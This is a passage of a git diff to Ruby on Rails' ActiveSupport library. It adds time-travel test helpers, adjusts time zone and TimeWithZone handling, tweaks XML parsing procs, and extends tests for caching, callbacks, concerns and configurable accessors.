+module ActiveSupport
+  module Testing
+    class SimpleStubs # :nodoc:
+      Stub = Struct.new(:object, :method_name, :original_method)
+
+      def initialize
+        @stubs = {}
+      end
+
+      def stub_object(object, method_name, return_value)
+        key = [object.object_id, method_name]
+
+        if stub = @stubs[key]
+          unstub_object(stub)
+        end
+
+        new_name = "__simple_stub__#{method_name}"
+
+        @stubs[key] = Stub.new(object, method_name, new_name)
+
+        object.singleton_class.send :alias_method, new_name, method_name
+        object.define_singleton_method(method_name) { return_value }
+      end
+
+      def unstub_all!
+        @stubs.each_value do |stub|
+          unstub_object(stub)
+        end
+        @stubs = {}
+      end
+
+      private
+
+        def unstub_object(stub)
+          singleton_class = stub.object.singleton_class
+          singleton_class.send :undef_method, stub.method_name
+          singleton_class.send :alias_method, stub.method_name, stub.original_method
+          singleton_class.send :undef_method, stub.original_method
+        end
+    end
+
+    # Containing helpers that helps you test passage of time.
+    module TimeHelpers
+      # Changes current time to the time in the future or in the past by a given time difference by
+      # stubbing +Time.now+ and +Date.today+.
+      #
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      #   travel 1.day
+      #   Time.current # => Sun, 10 Nov 2013 15:34:49 EST -05:00
+      #   Date.current # => Sun, 10 Nov 2013
+      #
+      # This method also accepts a block, which will return the current time back to its original
+      # state at the end of the block:
+      #
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      #   travel 1.day do
+      #     User.create.created_at # => Sun, 10 Nov 2013 15:34:49 EST -05:00
+      #   end
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      def travel(duration, &block)
+        travel_to Time.now + duration, &block
+      end
+
+      # Changes current time to the given time by stubbing +Time.now+ and
+      # +Date.today+ to return the time or date passed into this method.
+      #
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      #   travel_to Time.new(2004, 11, 24, 01, 04, 44)
+      #   Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+      #   Date.current # => Wed, 24 Nov 2004
+      #
+      # Dates are taken as their timestamp at the beginning of the day in the
+      # application time zone. <tt>Time.current</tt> returns said timestamp,
+      # and <tt>Time.now</tt> its equivalent in the system time zone. Similarly,
+      # <tt>Date.current</tt> returns a date equal to the argument, and
+      # <tt>Date.today</tt> the date according to <tt>Time.now</tt>, which may
+      # be different. (Note that you rarely want to deal with <tt>Time.now</tt>,
+      # or <tt>Date.today</tt>, in order to honor the application time zone
+      # please always use <tt>Time.current</tt> and <tt>Date.current</tt>.)
+      #
+      # This method also accepts a block, which will return the current time back to its original
+      # state at the end of the block:
+      #
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      #   travel_to Time.new(2004, 11, 24, 01, 04, 44) do
+      #     Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+      #   end
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      def travel_to(date_or_time, &block)
+        if date_or_time.is_a?(Date) && !date_or_time.is_a?(DateTime)
+          now = date_or_time.midnight.to_time
+        else
+          now = date_or_time.to_time
+        end
+
+        simple_stubs.stub_object(Time, :now, now)
+        simple_stubs.stub_object(Date, :today, now.to_date)
+
+        if block_given?
+          begin
+            block.call
+          ensure
+            travel_back
+          end
+        end
+      end
+
+      # Returns the current time back to its original state, by removing the stubs added by
+      # `travel` and `travel_to`.
+      #
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      #   travel_to Time.new(2004, 11, 24, 01, 04, 44)
+      #   Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+      #   travel_back
+      #   Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+      def travel_back
+        simple_stubs.unstub_all!
+      end
+
+      private
+
+        def simple_stubs
+          @simple_stubs ||= SimpleStubs.new
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/time_with_zone.rb b/activesupport/lib/active_support/time_with_zone.rb
index 95b9b8e..c25c97c 100644
--- a/activesupport/lib/active_support/time_with_zone.rb
+++ b/activesupport/lib/active_support/time_with_zone.rb
@@ -45,7 +45,7 @@ module ActiveSupport
 
     def initialize(utc_time, time_zone, local_time = nil, period = nil)
       @utc, @time_zone, @time = utc_time, time_zone, local_time
-      @period = @utc ? period : get_period_and_ensure_valid_local_time
+      @period = @utc ? period : get_period_and_ensure_valid_local_time(period)
     end
 
     # Returns a Time or DateTime instance that represents the time in +time_zone+.
@@ -132,8 +132,8 @@ module ActiveSupport
     end
 
     def xmlschema(fraction_digits = 0)
-      fraction = if fraction_digits > 0
-        (".%06i" % time.usec)[0, fraction_digits + 1]
+      fraction = if fraction_digits.to_i > 0
+        (".%06i" % time.usec)[0, fraction_digits.to_i + 1]
       end
 
       "#{time.strftime("%Y-%m-%dT%H:%M:%S")}#{fraction}#{formatted_offset(true, 'Z')}"
@@ -146,15 +146,15 @@ module ActiveSupport
     # to +false+.
     #
     #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = true
-    #   Time.utc(2005,2,1,15,15,10).in_time_zone.to_json
-    #   # => "2005-02-01T15:15:10Z"
+    #   Time.utc(2005,2,1,15,15,10).in_time_zone("Hawaii").to_json
+    #   # => "2005-02-01T05:15:10.000-10:00"
     #
     #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = false
-    #   Time.utc(2005,2,1,15,15,10).in_time_zone.to_json
-    #   # => "2005/02/01 15:15:10 +0000"
+    #   Time.utc(2005,2,1,15,15,10).in_time_zone("Hawaii").to_json
+    #   # => "2005/02/01 05:15:10 -1000"
     def as_json(options = nil)
       if ActiveSupport::JSON::Encoding.use_standard_json_time_format
-        xmlschema(3)
+        xmlschema(ActiveSupport::JSON::Encoding.time_precision)
       else
         %(#{time.strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
       end
@@ -367,12 +367,12 @@ module ActiveSupport
     end
 
     private
-      def get_period_and_ensure_valid_local_time
+      def get_period_and_ensure_valid_local_time(period)
         # we don't want a Time.local instance enforcing its own DST rules as well,
         # so transfer time values to a utc constructor if necessary
         @time = transfer_time_values_to_utc_constructor(@time) unless @time.utc?
         begin
-          @time_zone.period_for_local(@time)
+          period || @time_zone.period_for_local(@time)
         rescue ::TZInfo::PeriodNotFound
           # time is in the "spring forward" hour gap, so we're moving the time forward one hour and trying again
           @time += 1.hour
@@ -390,7 +390,8 @@ module ActiveSupport
 
       def wrap_with_time_zone(time)
         if time.acts_like?(:time)
-          self.class.new(nil, time_zone, time)
+          periods = time_zone.periods_for_local(time)
+          self.class.new(nil, time_zone, time, periods.include?(period) ? period : nil)
         elsif time.is_a?(Range)
           wrap_with_time_zone(time.begin)..wrap_with_time_zone(time.end)
         else
diff --git a/activesupport/lib/active_support/values/time_zone.rb b/activesupport/lib/active_support/values/time_zone.rb
index 3cf82a2..38f0d26 100644
--- a/activesupport/lib/active_support/values/time_zone.rb
+++ b/activesupport/lib/active_support/values/time_zone.rb
@@ -1,3 +1,5 @@
+require 'tzinfo'
+require 'thread_safe'
 require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/object/try'
 
@@ -184,6 +186,8 @@ module ActiveSupport
     UTC_OFFSET_WITH_COLON = '%s%02d:%02d'
     UTC_OFFSET_WITHOUT_COLON = UTC_OFFSET_WITH_COLON.sub(':', '')
 
+    @lazy_zones_map = ThreadSafe::Cache.new
+
     # Assumes self represents an offset from UTC in seconds (as returned from
     # Time#utc_offset) and turns this into an +HH:MM formatted string.
     #
@@ -205,8 +209,6 @@ module ActiveSupport
     # (GMT). Seconds were chosen as the offset unit because that is the unit
     # that Ruby uses to represent time zone offsets (see Time#utc_offset).
     def initialize(name, utc_offset = nil, tzinfo = nil)
-      self.class.send(:require_tzinfo)
-
       @name = name
       @utc_offset = utc_offset
       @tzinfo = tzinfo || TimeZone.find_tzinfo(name)
@@ -232,6 +234,7 @@ module ActiveSupport
     # Compare this time zone to the parameter. The two are compared first on
     # their offsets, and then by name.
     def <=>(zone)
+      return unless zone.respond_to? :utc_offset
       result = (utc_offset <=> zone.utc_offset)
       result = (name <=> zone.name) if result == 0
       result
@@ -279,7 +282,7 @@ module ActiveSupport
     #
     #   Time.zone.now               # => Fri, 31 Dec 1999 14:00:00 HST -10:00
     #   Time.zone.parse('22:30:00') # => Fri, 31 Dec 1999 22:30:00 HST -10:00
-    def parse(str, now=now)
+    def parse(str, now=now())
       parts = Date._parse(str, false)
       return if parts.empty?
 
@@ -314,6 +317,16 @@ module ActiveSupport
       tzinfo.now.to_date
     end
 
+    # Returns the next date in this time zone.
+    def tomorrow
+      today + 1
+    end
+
+    # Returns the previous date in this time zone.
+    def yesterday
+      today - 1
+    end
+
     # Adjust the given time to the simultaneous time in the time zone
     # represented by +self+. Returns a Time.utc() instance -- if you want an
     # ActiveSupport::TimeWithZone instance, use Time#in_time_zone() instead.
@@ -339,6 +352,10 @@ module ActiveSupport
       tzinfo.period_for_local(time, dst)
     end
 
+    def periods_for_local(time) #:nodoc:
+      tzinfo.periods_for_local(time)
+    end
+
     def self.find_tzinfo(name)
       TZInfo::TimezoneProxy.new(MAPPING[name] || name)
     end
@@ -346,14 +363,14 @@ module ActiveSupport
     class << self
       alias_method :create, :new
 
-      # Return a TimeZone instance with the given name, or +nil+ if no
+      # Returns a TimeZone instance with the given name, or +nil+ if no
       # such TimeZone instance exists. (This exists to support the use of
       # this class with the +composed_of+ macro.)
       def new(name)
         self[name]
       end
 
-      # Return an array of all TimeZone objects. There are multiple
+      # Returns an array of all TimeZone objects. There are multiple
       # TimeZone objects per time zone, in many cases, to make it easier
       # for users to find their own time zone.
       def all
@@ -362,10 +379,8 @@ module ActiveSupport
 
       def zones_map
         @zones_map ||= begin
-          new_zones_names = MAPPING.keys - lazy_zones_map.keys
-          new_zones       = Hash[new_zones_names.map { |place| [place, create(place)] }]
-
-          lazy_zones_map.merge(new_zones)
+          MAPPING.each_key {|place| self[place]} # load all the zones
+          @lazy_zones_map
         end
       end
 
@@ -378,7 +393,7 @@ module ActiveSupport
         case arg
           when String
           begin
-            lazy_zones_map[arg] ||= lookup(arg).tap { |tz| tz.utc_offset }
+            @lazy_zones_map[arg] ||= create(arg).tap { |tz| tz.utc_offset }
           rescue TZInfo::InvalidTimezoneIdentifier
             nil
           end
@@ -395,29 +410,6 @@ module ActiveSupport
       def us_zones
         @us_zones ||= all.find_all { |z| z.name =~ /US|Arizona|Indiana|Hawaii|Alaska/ }
       end
-
-      protected
-
-        def require_tzinfo
-          require 'tzinfo' unless defined?(::TZInfo)
-        rescue LoadError
-          $stderr.puts "You don't have tzinfo installed in your application. Please add it to your Gemfile and run bundle install"
-          raise
-        end
-
-      private
-
-        def lookup(name)
-          (tzinfo = find_tzinfo(name)) && create(tzinfo.name.freeze)
-        end
-
-        def lazy_zones_map
-          require_tzinfo
-
-          @lazy_zones_map ||= Hash.new do |hash, place|
-            hash[place] = create(place) if MAPPING.has_key?(place)
-          end
-        end
     end
 
     private
diff --git a/activesupport/lib/active_support/values/unicode_tables.dat b/activesupport/lib/active_support/values/unicode_tables.dat
index 2571faa..394ee95 100644
Binary files a/activesupport/lib/active_support/values/unicode_tables.dat and b/activesupport/lib/active_support/values/unicode_tables.dat differ
diff --git a/activesupport/lib/active_support/version.rb b/activesupport/lib/active_support/version.rb
index 046494b..fe03984 100644
--- a/activesupport/lib/active_support/version.rb
+++ b/activesupport/lib/active_support/version.rb
@@ -1,11 +1,8 @@
+require_relative 'gem_version'
+
 module ActiveSupport
-  # Returns the version of the currently loaded ActiveSupport as a Gem::Version
+  # Returns the version of the currently loaded ActiveSupport as a <tt>Gem::Version</tt>
   def self.version
-    Gem::Version.new "4.0.2"
-  end
-
-  module VERSION #:nodoc:
-    MAJOR, MINOR, TINY, PRE = ActiveSupport.version.segments
-    STRING = ActiveSupport.version.to_s
+    gem_version
   end
 end
diff --git a/activesupport/lib/active_support/xml_mini.rb b/activesupport/lib/active_support/xml_mini.rb
index d082a0a..009ee4d 100644
--- a/activesupport/lib/active_support/xml_mini.rb
+++ b/activesupport/lib/active_support/xml_mini.rb
@@ -1,7 +1,9 @@
 require 'time'
 require 'base64'
+require 'bigdecimal'
 require 'active_support/core_ext/module/delegation'
 require 'active_support/core_ext/string/inflections'
+require 'active_support/core_ext/date_time/calculations'
 
 module ActiveSupport
   # = XmlMini
@@ -56,13 +58,13 @@ module ActiveSupport
     # TODO use regexp instead of Date.parse
     unless defined?(PARSING)
       PARSING = {
-        "symbol"       => Proc.new { |symbol|  symbol.to_sym },
+        "symbol"       => Proc.new { |symbol|  symbol.to_s.to_sym },
         "date"         => Proc.new { |date|    ::Date.parse(date) },
         "datetime"     => Proc.new { |time|    Time.xmlschema(time).utc rescue ::DateTime.parse(time).utc },
         "integer"      => Proc.new { |integer| integer.to_i },
         "float"        => Proc.new { |float|   float.to_f },
         "decimal"      => Proc.new { |number|  BigDecimal(number) },
-        "boolean"      => Proc.new { |boolean| %w(1 true).include?(boolean.strip) },
+        "boolean"      => Proc.new { |boolean| %w(1 true).include?(boolean.to_s.strip) },
         "string"       => Proc.new { |string|  string.to_s },
         "yaml"         => Proc.new { |yaml|    YAML::load(yaml) rescue yaml },
         "base64Binary" => Proc.new { |bin|     ::Base64.decode64(bin) },
diff --git a/activesupport/test/abstract_unit.rb b/activesupport/test/abstract_unit.rb
index dd17cb6..0b393e0 100644
--- a/activesupport/test/abstract_unit.rb
+++ b/activesupport/test/abstract_unit.rb
@@ -8,7 +8,6 @@ ensure
 end
 
 require 'active_support/core_ext/kernel/reporting'
-require 'active_support/core_ext/string/encoding'
 
 silence_warnings do
   Encoding.default_internal = "UTF-8"
@@ -16,7 +15,6 @@ silence_warnings do
 end
 
 require 'active_support/testing/autorun'
-require 'empty_bool'
 
 ENV['NO_RELOAD'] = '1'
 require 'active_support'
@@ -25,3 +23,16 @@ Thread.abort_on_exception = true
 
 # Show backtraces for deprecated behavior for quicker cleanup.
 ActiveSupport::Deprecation.debug = true
+
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
+# Skips the current run on Rubinius using Minitest::Assertions#skip
+def rubinius_skip(message = '')
+  skip message if RUBY_ENGINE == 'rbx'
+end
+
+# Skips the current run on JRuby using Minitest::Assertions#skip
+def jruby_skip(message = '')
+  skip message if defined?(JRUBY_VERSION)
+end
diff --git a/activesupport/test/caching_test.rb b/activesupport/test/caching_test.rb
index 00266a4..c3c65cf 100644
--- a/activesupport/test/caching_test.rb
+++ b/activesupport/test/caching_test.rb
@@ -3,6 +3,42 @@ require 'abstract_unit'
 require 'active_support/cache'
 require 'dependencies_test_helpers'
 
+module ActiveSupport
+  module Cache
+    module Strategy
+      module LocalCache
+        class MiddlewareTest < ActiveSupport::TestCase
+          def test_local_cache_cleared_on_close
+            key = "super awesome key"
+            assert_nil LocalCacheRegistry.cache_for key
+            middleware = Middleware.new('<3', key).new(->(env) {
+              assert LocalCacheRegistry.cache_for(key), 'should have a cache'
+              [200, {}, []]
+            })
+            _, _, body = middleware.call({})
+            assert LocalCacheRegistry.cache_for(key), 'should still have a cache'
+            body.each { }
+            assert LocalCacheRegistry.cache_for(key), 'should still have a cache'
+            body.close
+            assert_nil LocalCacheRegistry.cache_for(key)
+          end
+
+          def test_local_cache_cleared_on_exception
+            key = "super awesome key"
+            assert_nil LocalCacheRegistry.cache_for key
+            middleware = Middleware.new('<3', key).new(->(env) {
+              assert LocalCacheRegistry.cache_for(key), 'should have a cache'
+              raise
+            })
+            assert_raises(RuntimeError) { middleware.call({}) }
+            assert_nil LocalCacheRegistry.cache_for(key)
+          end
+        end
+      end
+    end
+  end
+end
+
 class CacheKeyTest < ActiveSupport::TestCase
   def test_entry_legacy_optional_ivars
     legacy = Class.new(ActiveSupport::Cache::Entry) do
@@ -110,12 +146,12 @@ class CacheStoreSettingTest < ActiveSupport::TestCase
     assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
   end
 
-  def test_mem_cache_fragment_cache_store_with_given_mem_cache_like_object
+  def test_mem_cache_fragment_cache_store_with_not_dalli_client
     Dalli::Client.expects(:new).never
     memcache = Object.new
-    def memcache.get() true end
-    store = ActiveSupport::Cache.lookup_store :mem_cache_store, memcache
-    assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
+    assert_raises(ArgumentError) do
+      ActiveSupport::Cache.lookup_store :mem_cache_store, memcache
+    end
   end
 
   def test_mem_cache_fragment_cache_store_with_multiple_servers
@@ -257,6 +293,26 @@ module CacheStoreBehavior
     assert_equal({"fu" => "baz"}, @cache.read_multi('foo', 'fu'))
   end
 
+  def test_fetch_multi
+    @cache.write('foo', 'bar')
+    @cache.write('fud', 'biz')
+
+    values = @cache.fetch_multi('foo', 'fu', 'fud') {|value| value * 2 }
+
+    assert_equal(["bar", "fufu", "biz"], values)
+    assert_equal("fufu", @cache.read('fu'))
+  end
+
+  def test_multi_with_objects
+    foo = stub(:title => "FOO!", :cache_key => "foo")
+    bar = stub(:cache_key => "bar")
+
+    @cache.write('bar', "BAM!")
+
+    values = @cache.fetch_multi(foo, bar) {|object| object.title }
+    assert_equal(["FOO!", "BAM!"], values)
+  end
+
   def test_read_and_write_compressed_small_data
     @cache.write('foo', 'bar', :compress => true)
     assert_equal 'bar', @cache.read('foo')
@@ -307,8 +363,8 @@ module CacheStoreBehavior
 
   def test_exist
     @cache.write('foo', 'bar')
-    assert @cache.exist?('foo')
-    assert !@cache.exist?('bar')
+    assert_equal true, @cache.exist?('foo')
+    assert_equal false, @cache.exist?('bar')
   end
 
   def test_nil_exist
@@ -557,6 +613,7 @@ module LocalCacheBehavior
       result = @cache.write('foo', 'bar')
       assert_equal 'bar', @cache.read('foo') # make sure 'foo' was written
       assert result
+      [200, {}, []]
     }
     app = @cache.middleware.new(app)
     app.call({})
@@ -701,6 +758,13 @@ class FileStoreTest < ActiveSupport::TestCase
     assert @cache.exist?('baz')
     assert @cache.exist?('quux')
   end
+
+  def test_write_with_unless_exist
+    assert_equal true, @cache.write(1, "aaaaaaaaaa")
+    assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true)
+    @cache.write(1, nil)
+    assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true)
+  end
 end
 
 class MemoryStoreTest < ActiveSupport::TestCase
diff --git a/activesupport/test/callbacks_test.rb b/activesupport/test/callbacks_test.rb
index 13f2e3c..32c2dfd 100644
--- a/activesupport/test/callbacks_test.rb
+++ b/activesupport/test/callbacks_test.rb
@@ -1,27 +1,6 @@
 require 'abstract_unit'
 
 module CallbacksTest
-  class Phone
-    include ActiveSupport::Callbacks
-    define_callbacks :save
-
-    set_callback :save, :before, :before_save1
-    set_callback :save, :after, :after_save1
-
-    def before_save1; self.history << :before; end
-    def after_save1; self.history << :after; end
-
-    def save
-      run_callbacks :save do
-        raise 'boom'
-      end
-    end
-
-    def history
-      @history ||= []
-    end
-  end
-
   class Record
     include ActiveSupport::Callbacks
 
@@ -66,6 +45,16 @@ module CallbacksTest
     end
   end
 
+  class CallbackClass
+    def self.before(model)
+      model.history << [:before_save, :class]
+    end
+    
+    def self.after(model)
+      model.history << [:after_save, :class]
+    end
+  end
+
   class Person < Record
     [:before_save, :after_save].each do |callback_method|
       callback_method_sym = callback_method.to_sym
@@ -73,6 +62,7 @@ module CallbacksTest
       send(callback_method, callback_string(callback_method_sym))
       send(callback_method, callback_proc(callback_method_sym))
       send(callback_method, callback_object(callback_method_sym.to_s.gsub(/_save/, '')))
+      send(callback_method, CallbackClass)
       send(callback_method) { |model| model.history << [callback_method_sym, :block] }
     end
 
@@ -86,10 +76,14 @@ module CallbacksTest
     skip_callback :save, :after, :before_save_method, :unless => :yes
     skip_callback :save, :after, :before_save_method, :if => :no
     skip_callback :save, :before, :before_save_method, :unless => :no
+    skip_callback :save, :before, CallbackClass , :if => :yes
     def yes; true; end
     def no; false; end
   end
 
+  class PersonForProgrammaticSkipping < Person
+  end
+
   class ParentController
     include ActiveSupport::Callbacks
 
@@ -430,6 +424,26 @@ module CallbacksTest
         [:before_save, :object],
         [:before_save, :block],
         [:after_save, :block],
+        [:after_save, :class],
+        [:after_save, :object],
+        [:after_save, :proc],
+        [:after_save, :string],
+        [:after_save, :symbol]
+      ], person.history
+    end
+
+    def test_skip_person_programmatically
+      PersonForProgrammaticSkipping._save_callbacks.each do |save_callback|
+        if "before" == save_callback.kind.to_s
+          PersonForProgrammaticSkipping.skip_callback("save", save_callback.kind, save_callback.filter)
+        end
+      end
+      person = PersonForProgrammaticSkipping.new
+      assert_equal [], person.history
+      person.save
+      assert_equal [
+        [:after_save, :block],
+        [:after_save, :class],
         [:after_save, :object],
         [:after_save, :proc],
         [:after_save, :string],
@@ -449,8 +463,10 @@ module CallbacksTest
         [:before_save, :string],
         [:before_save, :proc],
         [:before_save, :object],
+        [:before_save, :class],
         [:before_save, :block],
         [:after_save, :block],
+        [:after_save, :class],
         [:after_save, :object],
         [:after_save, :proc],
         [:after_save, :string],
@@ -488,7 +504,7 @@ module CallbacksTest
   class CallbackTerminator
     include ActiveSupport::Callbacks
 
-    define_callbacks :save, :terminator => "result == :halt"
+    define_callbacks :save, :terminator => ->(_,result) { result == :halt }
 
     set_callback :save, :before, :first
     set_callback :save, :before, :second
@@ -681,7 +697,7 @@ module CallbacksTest
     def test_termination_invokes_hook
       terminator = CallbackTerminator.new
       terminator.save
-      assert_equal ":second", terminator.halted
+      assert_equal :second, terminator.halted
     end
 
     def test_block_never_called_if_terminated
@@ -715,8 +731,10 @@ module CallbacksTest
         [:before_save, :string],
         [:before_save, :proc],
         [:before_save, :object],
+        [:before_save, :class],
         [:before_save, :block],
         [:after_save, :block],
+        [:after_save, :class],
         [:after_save, :object],
         [:after_save, :proc],
         [:after_save, :string],
@@ -733,22 +751,6 @@ module CallbacksTest
     end
   end
 
-  class PerKeyOptionDeprecationTest < ActiveSupport::TestCase
-
-    def test_per_key_option_deprecaton
-      assert_raise NotImplementedError do
-        Phone.class_eval do
-          set_callback :save, :before, :before_save1, :per_key => {:if => "true"}
-        end
-      end
-      assert_raise NotImplementedError do
-        Phone.class_eval do
-          skip_callback :save, :before, :before_save1, :per_key => {:if => "true"}
-        end
-      end
-    end
-  end
-
   class ExcludingDuplicatesCallbackTest < ActiveSupport::TestCase
     def test_excludes_duplicates_in_separate_calls
       model = DuplicatingCallbacks.new
@@ -762,4 +764,240 @@ module CallbacksTest
       assert_equal ["two", "one", "three", "yielded"], model.record
     end
   end
+
+  class CallbackProcTest < ActiveSupport::TestCase
+    def build_class(callback)
+      Class.new {
+        include ActiveSupport::Callbacks
+        define_callbacks :foo
+        set_callback :foo, :before, callback
+        def run; run_callbacks :foo; end
+      }
+    end
+
+    def test_proc_arity_0
+      calls = []
+      klass = build_class(->() { calls << :foo })
+      klass.new.run
+      assert_equal [:foo], calls
+    end
+
+    def test_proc_arity_1
+      calls = []
+      klass = build_class(->(o) { calls << o })
+      instance = klass.new
+      instance.run
+      assert_equal [instance], calls
+    end
+
+    def test_proc_arity_2
+      assert_raises(ArgumentError) do
+        klass = build_class(->(x,y) { })
+        klass.new.run
+      end
+    end
+
+    def test_proc_negative_called_with_empty_list
+      calls = []
+      klass = build_class(->(*args) { calls << args })
+      klass.new.run
+      assert_equal [[]], calls
+    end
+  end
+
+  class ConditionalTests < ActiveSupport::TestCase
+    def build_class(callback)
+      Class.new {
+        include ActiveSupport::Callbacks
+        define_callbacks :foo
+        set_callback :foo, :before, :foo, :if => callback
+        def foo; end
+        def run; run_callbacks :foo; end
+      }
+    end
+
+    # FIXME: do we really want to support classes as conditionals?  There were
+    # no tests for it previous to this.
+    def test_class_conditional_with_scope
+      z = []
+      callback = Class.new {
+        define_singleton_method(:foo) { |o| z << o }
+      }
+      klass = Class.new {
+        include ActiveSupport::Callbacks
+        define_callbacks :foo, :scope => [:name]
+        set_callback :foo, :before, :foo, :if => callback
+        def run; run_callbacks :foo; end
+        private
+        def foo; end
+      }
+      object = klass.new
+      object.run
+      assert_equal [object], z
+    end
+
+    # FIXME: do we really want to support classes as conditionals?  There were
+    # no tests for it previous to this.
+    def test_class
+      z = []
+      klass = build_class Class.new {
+        define_singleton_method(:before) { |o| z << o }
+      }
+      object = klass.new
+      object.run
+      assert_equal [object], z
+    end
+
+    def test_proc_negative_arity # passes an empty list if *args
+      z = []
+      object = build_class(->(*args) { z << args }).new
+      object.run
+      assert_equal [], z.flatten
+    end
+
+    def test_proc_arity0
+      z = []
+      object = build_class(->() { z << 0 }).new
+      object.run
+      assert_equal [0], z
+    end
+
+    def test_proc_arity1
+      z = []
+      object = build_class(->(x) { z << x }).new
+      object.run
+      assert_equal [object], z
+    end
+
+    def test_proc_arity2
+      assert_raises(ArgumentError) do
+        object = build_class(->(a,b) { }).new
+        object.run
+      end
+    end
+  end
+
+  class ResetCallbackTest < ActiveSupport::TestCase
+    def build_class(memo)
+      klass = Class.new {
+        include ActiveSupport::Callbacks
+        define_callbacks :foo
+        set_callback :foo, :before, :hello
+        def run; run_callbacks :foo; end
+      }
+      klass.class_eval {
+        define_method(:hello) { memo << :hi }
+      }
+      klass
+    end
+
+    def test_reset_callbacks
+      events = []
+      klass = build_class events
+      klass.new.run
+      assert_equal 1, events.length
+
+      klass.reset_callbacks :foo
+      klass.new.run
+      assert_equal 1, events.length
+    end
+
+    def test_reset_impacts_subclasses
+      events = []
+      klass = build_class events
+      subclass = Class.new(klass) { set_callback :foo, :before, :world }
+      subclass.class_eval { define_method(:world) { events << :world } }
+
+      subclass.new.run
+      assert_equal 2, events.length
+
+      klass.reset_callbacks :foo
+      subclass.new.run
+      assert_equal 3, events.length
+    end
+  end
+
+  class CallbackTypeTest < ActiveSupport::TestCase
+    def build_class(callback, n = 10)
+      Class.new {
+        include ActiveSupport::Callbacks
+        define_callbacks :foo
+        n.times { set_callback :foo, :before, callback }
+        def run; run_callbacks :foo; end
+        def self.skip(thing); skip_callback :foo, :before, thing; end
+      }
+    end
+
+    def test_add_class
+      calls = []
+      callback = Class.new {
+        define_singleton_method(:before) { |o| calls << o }
+      }
+      build_class(callback).new.run
+      assert_equal 10, calls.length
+    end
+
+    def test_add_lambda
+      calls = []
+      build_class(->(o) { calls << o }).new.run
+      assert_equal 10, calls.length
+    end
+
+    def test_add_symbol
+      calls = []
+      klass = build_class(:bar)
+      klass.class_eval { define_method(:bar) { calls << klass } }
+      klass.new.run
+      assert_equal 1, calls.length
+    end
+
+    def test_add_eval
+      calls = []
+      klass = build_class("bar")
+      klass.class_eval { define_method(:bar) { calls << klass } }
+      klass.new.run
+      assert_equal 1, calls.length
+    end
+
+    def test_skip_class # removes one at a time
+      calls = []
+      callback = Class.new {
+        define_singleton_method(:before) { |o| calls << o }
+      }
+      klass = build_class(callback)
+      9.downto(0) { |i|
+        klass.skip callback
+        klass.new.run
+        assert_equal i, calls.length
+        calls.clear
+      }
+    end
+
+    def test_skip_lambda # removes nothing
+      calls = []
+      callback = ->(o) { calls << o }
+      klass = build_class(callback)
+      10.times { klass.skip callback }
+      klass.new.run
+      assert_equal 10, calls.length
+    end
+
+    def test_skip_symbol # removes all
+      calls = []
+      klass = build_class(:bar)
+      klass.class_eval { define_method(:bar) { calls << klass } }
+      klass.skip :bar
+      klass.new.run
+      assert_equal 0, calls.length
+    end
+
+    def test_skip_eval # removes nothing
+      calls = []
+      klass = build_class("bar")
+      klass.class_eval { define_method(:bar) { calls << klass } }
+      klass.skip "bar"
+      klass.new.run
+      assert_equal 1, calls.length
+    end
+  end
 end
diff --git a/activesupport/test/concern_test.rb b/activesupport/test/concern_test.rb
index 912ce30..a74ee88 100644
--- a/activesupport/test/concern_test.rb
+++ b/activesupport/test/concern_test.rb
@@ -56,10 +56,6 @@ class ConcernTest < ActiveSupport::TestCase
     @klass.send(:include, Baz)
     assert_equal "baz", @klass.new.baz
     assert @klass.included_modules.include?(ConcernTest::Baz)
-
-    @klass.send(:include, Baz)
-    assert_equal "baz", @klass.new.baz
-    assert @klass.included_modules.include?(ConcernTest::Baz)
   end
 
   def test_class_methods_are_extended
@@ -68,12 +64,6 @@ class ConcernTest < ActiveSupport::TestCase
     assert_equal ConcernTest::Baz::ClassMethods, (class << @klass; self.included_modules; end)[0]
   end
 
-  def test_instance_methods_are_included
-    @klass.send(:include, Baz)
-    assert_equal "baz", @klass.new.baz
-    assert @klass.included_modules.include?(ConcernTest::Baz)
-  end
-
   def test_included_block_is_ran
     @klass.send(:include, Baz)
     assert_equal true, @klass.included_ran
@@ -91,4 +81,18 @@ class ConcernTest < ActiveSupport::TestCase
     @klass.send(:include, Foo)
     assert_equal [ConcernTest::Foo, ConcernTest::Bar, ConcernTest::Baz], @klass.included_modules[0..2]
   end
+
+  def test_raise_on_multiple_included_calls
+    assert_raises(ActiveSupport::Concern::MultipleIncludedBlocks) do
+      Module.new do
+        extend ActiveSupport::Concern
+
+        included do
+        end
+
+        included do
+        end
+      end
+    end
+  end
 end
diff --git a/activesupport/test/configurable_test.rb b/activesupport/test/configurable_test.rb
index d00273a..ef847fc 100644
--- a/activesupport/test/configurable_test.rb
+++ b/activesupport/test/configurable_test.rb
@@ -95,6 +95,20 @@ class ConfigurableActiveSupport < ActiveSupport::TestCase
         config_accessor "invalid attribute name"
       end
     end
+
+    assert_raises NameError do
+      Class.new do
+        include ActiveSupport::Configurable
+        config_accessor "invalid\nattribute"
+      end
+    end
+
+    assert_raises NameError do
+      Class.new do
+        include ActiveSupport::Configurable
+        config_accessor "invalid\n"
+      end
+    end
   end
 
   def assert_method_defined(object, method)
diff --git a/activesupport/test/constantize_test_cases.rb b/activesupport/test/constantize_test_cases.rb
index 9b62295..bbeb710 100644
--- a/activesupport/test/constantize_test_cases.rb
